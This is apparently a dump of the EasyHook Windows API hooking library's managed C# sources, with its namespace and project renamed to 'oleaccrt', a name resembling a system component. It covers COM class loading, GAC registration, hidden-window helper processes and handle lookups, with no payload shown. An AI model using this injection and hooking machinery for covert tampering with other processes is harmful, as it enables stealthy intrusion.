ClassType.GUID; 250 | else 251 | classGuid = ClassId; 252 | 253 | Microsoft.Win32.RegistryKey rk = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey("CLSID\\{" + classGuid.ToString() + "}\\InprocServer32"); 254 | if (rk == null) 255 | return false; 256 | string classdllname = rk.GetValue(null).ToString(); 257 | IntPtr libH = KERNEL32.GetModuleHandle(classdllname); 258 | if (libH == IntPtr.Zero) 259 | return false; 260 | 261 | return true; 262 | } 263 | 264 | private delegate int DllGetClassObjectDelegate(ref Guid ClassId, ref Guid InterfaceId, [Out, MarshalAs(UnmanagedType.Interface)] out object ppunk); 265 | 266 | [System.Security.Permissions.RegistryPermission(System.Security.Permissions.SecurityAction.Assert)] 267 | [System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Assert, UnmanagedCode = true)] 268 | private object GetClassInstance(Guid classguid, Guid interfguid, Guid classfactoryguid, Guid classfactory2guid) 269 | { 270 | object classinstance = null; 271 | 272 | // create instance via raw dll functions 273 | // ensures we get the real vtable 274 | try 275 | { 276 | if (classinstance == null) 277 | { 278 | // Single do..while loop - to support "break;" 279 | do 280 | { 281 | Microsoft.Win32.RegistryKey rk = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey("CLSID\\{" + classguid.ToString() + "}\\InprocServer32"); 282 | if (rk == null) 283 | break; 284 | string classdllname = rk.GetValue(null).ToString(); 285 | IntPtr libH = KERNEL32.LoadLibrary(classdllname); 286 | if (libH == IntPtr.Zero) 287 | break; 288 | IntPtr factoryFunc = KERNEL32.GetProcAddress(libH, "DllGetClassObject"); 289 | if (factoryFunc == IntPtr.Zero) 290 | break; 291 | DllGetClassObjectDelegate factoryDel = (DllGetClassObjectDelegate)Marshal.GetDelegateForFunctionPointer(factoryFunc, typeof(DllGetClassObjectDelegate)); 292 | object classfactoryO; 293 | // Try with IClassFactory first 294 | factoryDel(ref classguid, ref classfactoryguid, out classfactoryO); 295 | if (classfactoryO != null) 296 | { 297 | IClassFactory classfactory = (IClassFactory)classfactoryO; 298 | classfactory.CreateInstance(null, ref interfguid, out classinstance); 299 | Marshal.FinalReleaseComObject(classfactory); 300 | } 301 | else 302 | { 303 | // Now try with IClassFactory2 304 | factoryDel(ref classguid, ref classfactory2guid, out classfactoryO); 305 | if (classfactoryO == null) 306 | break; 307 | IClassFactory2 classfactory = (IClassFactory2)classfactoryO; 308 | classinstance = classfactory.CreateInstance(null, interfguid); 309 | Marshal.FinalReleaseComObject(classfactory); 310 | } 311 | } while (false); 312 | } 313 | } 314 | catch { } 315 | 316 | return classinstance; 317 | } 318 | 319 | private static class KERNEL32 320 | { 321 | [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] 322 | public static extern IntPtr LoadLibrary(string lpFileName); 323 | 324 | [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] 325 | public static extern IntPtr GetModuleHandle(string lpModuleName); 326 | 327 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 328 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 329 | } 330 | } 331 | 332 | #region IClassFactory / IClassFactory2 333 | [ComImport()] 334 | [Guid("00000001-0000-0000-C000-000000000046")] 335 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 336 | interface IClassFactory 337 | { 338 | [return: MarshalAs(UnmanagedType.I4)] 339 | [PreserveSig] 340 | int CreateInstance( 341 | [In, MarshalAs(UnmanagedType.Interface)] object pUnkOuter, 342 | ref Guid riid, 343 | [Out, MarshalAs(UnmanagedType.Interface)] out object obj); 344 | 345 | [return: MarshalAs(UnmanagedType.I4)] 346 | [PreserveSig] 347 | int LockServer( 348 | [In] bool fLock); 349 | } 350 | 351 | [ComImport()] 352 | [Guid("B196B28F-BAB4-101A-B69C-00AA00341D07")] 353 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 354 | interface IClassFactory2 355 | { 356 | [return: MarshalAs(UnmanagedType.Interface)] 357 | Object CreateInstance( 358 | [In, MarshalAs(UnmanagedType.Interface)] Object unused, 359 | [In, MarshalAs(UnmanagedType.LPStruct)] Guid iid); 360 | 361 | void LockServer(Int32 fLock); 362 | 363 | IntPtr GetLicInfo(); // TODO : an enum called LICINFO 364 | 365 | [return: MarshalAs(UnmanagedType.BStr)] 366 | String RequestLicKey( 367 | [In, MarshalAs(UnmanagedType.U4)] int reserved); 368 | 369 | [return: MarshalAs(UnmanagedType.Interface)] 370 | Object CreateInstanceLic( 371 | [In, MarshalAs(UnmanagedType.Interface)] object pUnkOuter, 372 | [In, MarshalAs(UnmanagedType.Interface)] object pUnkReserved, 373 | [In, MarshalAs(UnmanagedType.LPStruct)] Guid iid, 374 | [In, MarshalAs(UnmanagedType.BStr)] string bstrKey); 375 | } 376 | #endregion 377 | } 378 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/Config.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\Config.cs) 2 | // 3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System; 27 | using System.Collections.Generic; 28 | using System.Text; 29 | using System.IO; 30 | using System.Reflection; 31 | using System.Diagnostics; 32 | using System.IO.Compression; 33 | using System.Security.Cryptography; 34 | 35 | namespace oleaccrt 36 | { 37 | #pragma warning disable 0618 // obsolete 38 | 39 | /// 40 | /// Currently only provides a mechanism to register assemblies in the GAC. 41 | /// 42 | /// 43 | public class Config 44 | { 45 | private static String dependencyPath = ""; 46 | 47 | /// 48 | /// The path where dependant files, like EasyHook(32|64)Svc.exe are stored. 49 | /// Defaults to no path being specified. 50 | /// 51 | public static String DependencyPath 52 | { 53 | get 54 | { 55 | if (dependencyPath.Length > 0 && !dependencyPath.EndsWith("\\")) 56 | { 57 | dependencyPath += "\\"; 58 | } 59 | 60 | return dependencyPath; 61 | } 62 | set 63 | { 64 | dependencyPath = value; 65 | } 66 | } 67 | 68 | private static String helperLibraryLocation = ""; 69 | 70 | /// 71 | /// The path where helper files, like EasyHook(32|64).dll are stored. 72 | /// Defaults to the location of the assembly containing the Config type 73 | /// 74 | public static String HelperLibraryLocation 75 | { 76 | get 77 | { 78 | if(String.IsNullOrEmpty(helperLibraryLocation)) 79 | { 80 | return Path.GetDirectoryName(typeof(Config).Assembly.Location); 81 | } 82 | 83 | if (helperLibraryLocation.Length > 0 && !helperLibraryLocation.EndsWith("\\")) 84 | { 85 | helperLibraryLocation += "\\"; 86 | } 87 | 88 | return helperLibraryLocation; 89 | } 90 | set 91 | { 92 | helperLibraryLocation = value; 93 | } 94 | } 95 | 96 | /// 97 | /// Get the directory name of the current process, ending with a backslash. 98 | /// 99 | /// Directory name of the current process 100 | public static String GetProcessPath() 101 | { 102 | return Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName) + "\\"; 103 | } 104 | 105 | /// 106 | /// Get the name of the EasyHook SVC executable. 107 | /// Automatically determine whether to use the 64-bit or the 32-bit version. 108 | /// 109 | /// Executable name 110 | public static String GetSvcExecutableName() 111 | { 112 | return "EasyHook" + (NativeAPI.Is64Bit ? "64" : "32") + "Svc.exe"; 113 | } 114 | 115 | /// 116 | /// Get the name of the EasyHook SVC executable to use for WOW64 bypass. 117 | /// If this process is 64-bit, return the 32-bit service executable and vice versa. 118 | /// 119 | /// 120 | public static String GetWOW64BypassExecutableName() 121 | { 122 | return "EasyHook" + (NativeAPI.Is64Bit ? "32" : "64") + "Svc.exe"; 123 | } 124 | 125 | /// 126 | /// Get the EasyHook SVC executable name with the custom dependency path prepended. 127 | /// 128 | /// Full path to the executable 129 | public static String GetDependantSvcExecutableName() 130 | { 131 | return DependencyPath + GetSvcExecutableName(); 132 | } 133 | 134 | /// 135 | /// REQUIRES ADMIN PRIVILEGES. Installs EasyHook and all given user NET assemblies into the GAC and 136 | /// ensures that all references are cleaned up if the installing application 137 | /// is shutdown. Cleanup does not depend on the calling application... 138 | /// 139 | /// 140 | /// 141 | /// ATTENTION: There are some problems when debugging processes whose libraries 142 | /// are added to the GAC. Visual Studio won't start the debug session! There is 143 | /// only one chance for you to workaround this issue if you want to install 144 | /// libraries AND debug them simultanously. This is simply to debug only one process 145 | /// which is the default setting of Visual Studio. Because the libraries are added 146 | /// to the GAC AFTER Visual Studio has initialized the debug session, there won't be 147 | /// any conflicts; at least so far... 148 | /// 149 | /// In debug versions of EasyHook, you may also check the "Application" event log, which holds additional information 150 | /// about the GAC registration, after calling this method. In general this method works 151 | /// transactionally. This means if something goes wrong, the GAC state of all related libraries 152 | /// won't be violated! 153 | /// 154 | /// The problem with NET assemblies is that the CLR only searches the GAC and 155 | /// directories starting with the application base directory for assemblies. 156 | /// To get injected assemblies working either all of them have to be located 157 | /// under the target base directory (which is not suitable in most cases) or 158 | /// reside in the GAC. 159 | /// 160 | /// EasyHook provides a way to automatically register all of its own assemblies 161 | /// and custom ones temporarily in the GAC. It also ensures 162 | /// that all of these assemblies are removed if the installing process exists. 163 | /// So you don't need to care about and may write applications according to 164 | /// the XCOPY standard. If your application ships with an installer, you may 165 | /// statically install all of your assemblies and the ones of EasyHook into the 166 | /// GAC. In this case just don't call . 167 | /// 168 | /// Of course EasyHook does also take care of multiple processes using the same 169 | /// injection libraries. So if two processes are sharing some of those DLLs, 170 | /// a stable reference counter ensures that the libraries are kept in the GAC 171 | /// if one process is terminated while the other continues running and so continues 172 | /// holding a proper GAC reference. 173 | /// 174 | /// Please note that in order to add your library to the GAC, it has to be a valid 175 | /// NET assembly and expose a so called "Strong Name". Assemblies without a strong 176 | /// name will be rejected by this method! 177 | /// 178 | /// 179 | /// 180 | /// A description under which the installed files should be referenced. 181 | /// 182 | /// 183 | /// A list of user assemblies as relative or absolute paths. 184 | /// 185 | /// 186 | /// At least one of the files specified could not be found! 187 | /// 188 | /// 189 | /// Unable to load at least one of the given files for reflection. 190 | /// 191 | /// 192 | /// At least one of the given files does not have a strong name. 193 | /// 194 | public static void Register( 195 | String InDescription, 196 | params String[] InUserAssemblies) 197 | { 198 | List AsmList = new List(); 199 | String RemovalList = ""; 200 | List InstallList = new List(); 201 | 202 | /* 203 | * Read and validate config file... 204 | */ 205 | List Files = new List(); 206 | 207 | Files.Add(typeof(Config).Assembly.Location); 208 | 209 | Files.AddRange(InUserAssemblies); 210 | 211 | for (int i = 0; i < Files.Count; i++) 212 | { 213 | Assembly Entry; 214 | String AsmPath = Path.GetFullPath(Files[i]); 215 | 216 | if (!File.Exists(AsmPath)) 217 | throw new System.IO.FileNotFoundException("The given assembly \"" + Files[i] + "\" (\"" + AsmPath + "\") does not exist."); 218 | 219 | // just validate that this is a NET assembly with valid metadata... 220 | try { Entry = Assembly.ReflectionOnlyLoadFrom(AsmPath); } 221 | catch (Exception ExtInfo) 222 | { 223 | throw new BadImageFormatException("Unable to load given assembly \"" + Files[i] + "\" (\"" + AsmPath + 224 | "\") for reflection. Is this a valid NET assembly?", ExtInfo); 225 | } 226 | 227 | // is strongly named? (required for GAC) 228 | AssemblyName Name = AssemblyName.GetAssemblyName(AsmPath); 229 | 230 | if ((Name.Flags & AssemblyNameFlags.PublicKey) == 0) 231 | throw new ArgumentException("The given user library \"" + Files[i] + "\" is not strongly named!"); 232 | 233 | AsmList.Add(Entry); 234 | InstallList.Add(AsmPath); 235 | 236 | RemovalList += " \"" + Name.Name + "\""; 237 | } 238 | 239 | /* 240 | * Install assemblies into GAC ... 241 | */ 242 | 243 | // create unique installation identifier 244 | Byte[] IdentData = new Byte[30]; 245 | 246 | new RNGCryptoServiceProvider().GetBytes(IdentData); 247 | 248 | // run cleanup service 249 | InDescription = InDescription.Replace('"', '\''); 250 | 251 | Config.RunCommand( 252 | "GACRemover", false, false, Config.GetDependantSvcExecutableName(), Process.GetCurrentProcess().Id.ToString() + " \"" + 253 | Convert.ToBase64String(IdentData) + "\" \"" + InDescription + "\"" + RemovalList); 254 | 255 | // install assemblies 256 | NativeAPI.GacInstallAssemblies( 257 | InstallList.ToArray(), 258 | InDescription, 259 | Convert.ToBase64String(IdentData)); 260 | 261 | } 262 | 263 | #pragma warning disable 1591 264 | 265 | [Obsolete("This method is exported for internal use only.")] 266 | public static void PrintError(String InMessage, params object[] InParams) 267 | { 268 | DebugPrint(EventLogEntryType.Error, InMessage, InParams); 269 | } 270 | 271 | [Obsolete("This method is exported for internal use only.")] 272 | public static void PrintWarning(String InMessage, params object[] InParams) 273 | { 274 | DebugPrint(EventLogEntryType.Warning, InMessage, InParams); 275 | } 276 | 277 | [Obsolete("This method is exported for internal use only.")] 278 | public static void PrintComment(String InMessage, params object[] InParams) 279 | { 280 | DebugPrint(EventLogEntryType.Information, InMessage, InParams); 281 | } 282 | 283 | [Obsolete("This method is exported for internal use only.")] 284 | public static void DebugPrint(EventLogEntryType InType, String InMessage, params object[] InParams) 285 | { 286 | String Entry = String.Format(InMessage, InParams); 287 | 288 | switch (InType) 289 | { 290 | case EventLogEntryType.Error: Entry = "[error]: " + Entry; break; 291 | case EventLogEntryType.Information: Entry = "[comment]: " + Entry; break; 292 | case EventLogEntryType.Warning: Entry = "[warning]: " + Entry; break; 293 | } 294 | 295 | try 296 | { 297 | try 298 | { 299 | // Attempt to create the Event Source 300 | if (!EventLog.SourceExists("EasyHook")) 301 | { 302 | EventLog.CreateEventSource("EasyHook", "Application"); 303 | } 304 | } 305 | catch 306 | { 307 | } 308 | { 309 | #if !DEBUG 310 | if(InType == EventLogEntryType.Error) 311 | #endif 312 | EventLog.WriteEntry("EasyHook", Entry, InType); 313 | } 314 | } 315 | catch 316 | { 317 | } 318 | 319 | #if DEBUG 320 | Console.WriteLine(Entry); 321 | #endif 322 | } 323 | 324 | [Obsolete("This method is exported for internal use only.")] 325 | public static void RunCommand( 326 | String InFriendlyName, 327 | Boolean InWaitForExit, 328 | Boolean InShellExecute, 329 | String InPath, 330 | String InArguments) 331 | { 332 | InPath = Path.GetFullPath(InPath); 333 | 334 | Process Proc = new Process(); 335 | ProcessStartInfo StartInfo = new ProcessStartInfo(InPath, InArguments); 336 | 337 | if (InShellExecute && InWaitForExit) 338 | throw new ArgumentException("It is not supported to execute in shell and wait for termination!"); 339 | 340 | StartInfo.RedirectStandardOutput = !InShellExecute; 341 | StartInfo.UseShellExecute = InShellExecute; 342 | StartInfo.WindowStyle = ProcessWindowStyle.Hidden; 343 | StartInfo.CreateNoWindow = true; 344 | StartInfo.WorkingDirectory = Path.GetDirectoryName(InPath); 345 | 346 | Proc.StartInfo = StartInfo; 347 | 348 | try 349 | { 350 | if (!Proc.Start()) 351 | throw new Exception(); 352 | } 353 | catch (Exception ExtInfo) 354 | { 355 | throw new ApplicationException("Unable to run internal command.", ExtInfo); 356 | } 357 | 358 | if (InWaitForExit) 359 | { 360 | if (!Proc.WaitForExit(5000)) 361 | { 362 | Proc.Kill(); 363 | 364 | throw new ApplicationException("Unable to run internal command."); 365 | } 366 | 367 | // save to log entry 368 | String Output = Proc.StandardOutput.ReadToEnd(); 369 | 370 | PrintComment("[" + InFriendlyName + "]: " + Output); 371 | } 372 | } 373 | 374 | #pragma warning restore 1591 375 | 376 | } 377 | } 378 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/Debugging.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\Debugging.cs) 2 | // 3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System; 27 | using System.Collections.Generic; 28 | using System.Text; 29 | using System.Runtime.InteropServices; 30 | using System.Runtime.ConstrainedExecution; 31 | using System.Diagnostics; 32 | 33 | namespace oleaccrt 34 | { 35 | public partial class LocalHook 36 | { 37 | /// 38 | /// RIP relocation is disabled by default. If you want to enable it, 39 | /// just call this method which will attach a debugger to the current 40 | /// process. There may be circumstances under which this might fail 41 | /// and this is why it is not done by default. On 32-Bit system this 42 | /// method will always succeed and do nothing... 43 | /// 44 | public static void EnableRIPRelocation() 45 | { 46 | NativeAPI.DbgAttachDebugger(); 47 | } 48 | 49 | /// 50 | /// Tries to get the underlying thread ID for a given handle. 51 | /// 52 | /// 53 | /// This is not always possible. The handle has to be opened with THREAD_QUERY_INFORMATION 54 | /// access. 55 | /// 56 | /// A valid thread handle. 57 | /// A valid thread ID associated with the given thread handle. 58 | /// 59 | /// The given handle was not opened with THREAD_QUERY_INFORMATION access. 60 | /// 61 | /// The handle is invalid. 62 | /// 63 | /// 64 | /// Should never occur and just notifies you that a handle to thread ID conversion is not 65 | /// available on the current platform. 66 | /// 67 | public static Int32 GetThreadIdByHandle(IntPtr InThreadHandle) 68 | { 69 | Int32 Result; 70 | 71 | NativeAPI.DbgGetThreadIdByHandle(InThreadHandle, out Result); 72 | 73 | return Result; 74 | } 75 | 76 | /// 77 | /// Tries to get the underlying process ID for a given handle. 78 | /// 79 | /// 80 | /// This is not always possible. The handle has to be opened with PROCESS_QUERY_INFORMATION 81 | /// access. 82 | /// 83 | /// A valid process handle. 84 | /// A valid process ID associated with the given process handle. 85 | /// 86 | /// The given handle was not opened with PROCESS_QUERY_INFORMATION access. 87 | /// 88 | /// The handle is invalid. 89 | /// 90 | /// 91 | /// Should never occur and just notifies you that a handle to thread ID conversion is not 92 | /// available on the current platform. 93 | /// 94 | public static Int32 GetProcessIdByHandle(IntPtr InProcessHandle) 95 | { 96 | Int32 Result; 97 | 98 | NativeAPI.DbgGetProcessIdByHandle(InProcessHandle, out Result); 99 | 100 | return Result; 101 | } 102 | 103 | [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] 104 | private class UNICODE_STRING 105 | { 106 | public Int16 Length; 107 | public Int16 MaximumLength; 108 | public String Buffer; 109 | } 110 | 111 | internal class NameBuffer : CriticalFinalizerObject 112 | { 113 | public IntPtr Buffer; 114 | public Int32 Size; 115 | 116 | public NameBuffer() 117 | { 118 | Size = 0; 119 | Buffer = Marshal.AllocCoTaskMem(0); 120 | } 121 | 122 | public void Alloc(Int32 InDesiredSize) 123 | { 124 | IntPtr Tmp; 125 | 126 | if (InDesiredSize < Size) 127 | return; 128 | 129 | if ((Tmp = Marshal.ReAllocCoTaskMem(Buffer, InDesiredSize)) == IntPtr.Zero) 130 | throw new OutOfMemoryException("Unable to allocate unmanaged memory."); 131 | 132 | Buffer = Tmp; 133 | Size = InDesiredSize; 134 | } 135 | 136 | ~NameBuffer() 137 | { 138 | if(Buffer != IntPtr.Zero) 139 | Marshal.FreeCoTaskMem(Buffer); 140 | 141 | Buffer = IntPtr.Zero; 142 | } 143 | } 144 | private static NameBuffer Buffer = new NameBuffer(); 145 | 146 | /// 147 | /// Reads the kernel object name for a given windows usermode handle. 148 | /// Executes in approx. 100 micro secounds. 149 | /// 150 | /// 151 | /// This allows you to translate a handle back to the associated filename for example. 152 | /// But keep in mind that such names are only valid for kernel service routines, like 153 | /// NtCreateFile. You won't have success when calling CreateFile on such 154 | /// object names! The regular windows user mode API has some methods that will allow 155 | /// you to convert such kernelmode names back into usermode names. I know this because I did it 156 | /// some years ago but I've already forgotten how it has to be done! I can only give you 157 | /// some hints: FindFirstVolume(), FindFirstVolumeMountPoint(), 158 | /// QueryDosDevice(), GetVolumePathNamesForVolumeName() 159 | /// 160 | /// A valid usermode handle. 161 | /// 162 | /// The kernel object name associated with the given handle. 163 | /// 164 | /// The given handle is invalid or could not be accessed for unknown reasons. 165 | /// 166 | public static String GetNameByHandle(IntPtr InHandle) 167 | { 168 | Int32 RequiredSize; 169 | 170 | NativeAPI.DbgHandleToObjectName( 171 | InHandle, 172 | IntPtr.Zero, 173 | 0, 174 | out RequiredSize); 175 | 176 | 177 | lock (Buffer) 178 | { 179 | Buffer.Alloc(RequiredSize + 1); 180 | 181 | NativeAPI.DbgHandleToObjectName( 182 | InHandle, 183 | Buffer.Buffer, 184 | RequiredSize, 185 | out RequiredSize); 186 | 187 | UNICODE_STRING Result = new UNICODE_STRING(); 188 | 189 | Marshal.PtrToStructure(Buffer.Buffer, Result); 190 | 191 | return Result.Buffer; 192 | } 193 | } 194 | } 195 | } 196 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/Domain/DomainIdentifier.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Diagnostics; 26 | 27 | namespace EasyHook.Domain 28 | { 29 | /// 30 | /// Provides a system wide unique identifier for an application domain. 31 | /// 32 | [Serializable] 33 | public struct DomainIdentifier : IEquatable 34 | { 35 | 36 | #region Properties 37 | 38 | /// 39 | /// Gets or sets the ID of the application domain. 40 | /// 41 | public int DomainId { get; set; } 42 | /// 43 | /// Gets or sets the ID of the process. 44 | /// 45 | public int ProcessId { get; set; } 46 | 47 | #endregion 48 | 49 | #region Public Methods 50 | 51 | /// 52 | /// Returns the identifier as a string. 53 | /// 54 | /// 55 | public override string ToString() 56 | { 57 | return ProcessId + "." + DomainId; 58 | } 59 | 60 | #endregion 61 | 62 | #region Public Static Methods 63 | 64 | /// 65 | /// Gets a new which identifies the current application domain. 66 | /// 67 | /// 68 | public static DomainIdentifier GetLocalDomainIdentifier() 69 | { 70 | return new DomainIdentifier 71 | { 72 | DomainId = AppDomain.CurrentDomain.Id, 73 | ProcessId = Process.GetCurrentProcess().Id 74 | }; 75 | } 76 | 77 | #endregion 78 | 79 | #region IEquatable Members 80 | 81 | /// 82 | /// Indicates whether the current is equal to the . 83 | /// 84 | /// 85 | /// 86 | public bool Equals(DomainIdentifier other) 87 | { 88 | return ProcessId == other.ProcessId && DomainId == other.DomainId; 89 | } 90 | 91 | #endregion 92 | 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/EasyHook.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "oleaccrt", "oleaccrt.csproj", "{AB53862B-3B5C-4EFC-9787-1F01199EBFBF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | netfx3.5-Debug|Any CPU = netfx3.5-Debug|Any CPU 11 | netfx3.5-Release|Any CPU = netfx3.5-Release|Any CPU 12 | netfx4-Debug|Any CPU = netfx4-Debug|Any CPU 13 | netfx4-Release|Any CPU = netfx4-Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Debug|Any CPU.ActiveCfg = netfx3.5-Debug|Any CPU 17 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Debug|Any CPU.Build.0 = netfx3.5-Debug|Any CPU 18 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Release|Any CPU.ActiveCfg = netfx3.5-Release|Any CPU 19 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Release|Any CPU.Build.0 = netfx3.5-Release|Any CPU 20 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Debug|Any CPU.ActiveCfg = netfx4-Debug|Any CPU 21 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Debug|Any CPU.Build.0 = netfx4-Debug|Any CPU 22 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Release|Any CPU.ActiveCfg = netfx4-Release|Any CPU 23 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Release|Any CPU.Build.0 = netfx4-Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {425E4169-33DE-42F1-93A1-B5F9CB7C29BB} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/ExecuteAsService.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 29 | 30 | 31 | 32 | private static void OnProcessUpdate(Object InCallback) 33 | { 34 | ProcessTimer.Change(Timeout.Infinite, Timeout.Infinite); 35 | 36 | try 37 | { 38 | ProcessInfo[] Array = (ProcessInfo[])RemoteHooking.ExecuteAsService<Form1>("EnumProcesses"); 39 | SortedDictionary<String, ProcessInfo> Result = new SortedDictionary<string, ProcessInfo>(); 40 | 41 | // sort by name... 42 | lock (ProcessList) 43 | { 44 | ActivePIDList.Clear(); 45 | 46 | for (int i = 0; i < Array.Length; i++) 47 | { 48 | Result.Add(System.IO.Path.GetFileName(Array[i].FileName) + "____" + i, Array[i]); 49 | 50 | ActivePIDList.Add(Array[i].Id); 51 | } 52 | 53 | Result.Values.CopyTo(Array, 0); 54 | 55 | ProcessList.Clear(); 56 | 57 | ProcessList.AddRange(Array); 58 | } 59 | } 60 | catch (AccessViolationException) 61 | { 62 | MessageBox.Show("This is an administrative task!", "Permission denied...", MessageBoxButtons.OK); 63 | 64 | Process.GetCurrentProcess().Kill(); 65 | } 66 | finally 67 | { 68 | ProcessTimer.Change(5000, 5000); 69 | } 70 | } 71 | 72 | [Serializable] 73 | public class ProcessInfo 74 | { 75 | public String FileName; 76 | public Int32 Id; 77 | public Boolean Is64Bit; 78 | public String User; 79 | } 80 | 81 | public static ProcessInfo[] EnumProcesses() 82 | { 83 | List<ProcessInfo> Result = new List<ProcessInfo>(); 84 | Process[] ProcList = Process.GetProcesses(); 85 | 86 | for (int i = 0; i < ProcList.Length; i++) 87 | { 88 | Process Proc = ProcList[i]; 89 | 90 | try 91 | { 92 | ProcessInfo Info = new ProcessInfo(); 93 | 94 | Info.FileName = Proc.MainModule.FileName; 95 | Info.Id = Proc.Id; 96 | Info.Is64Bit = RemoteHooking.IsX64Process(Proc.Id); 97 | Info.User = RemoteHooking.GetProcessIdentity(Proc.Id).Name; 98 | 99 | Result.Add(Info); 100 | } 101 | catch 102 | { 103 | } 104 | } 105 | 106 | return Result.ToArray(); 107 | } 108 | 109 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/FileMonHost.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 29 | 30 | 31 | The following demonstrates how to use and : 32 | 33 | using System; 34 | using System.Collections.Generic; 35 | using System.Runtime.Remoting; 36 | using System.Text; 37 | using System.IO; 38 | using EasyHook; 39 | 40 | 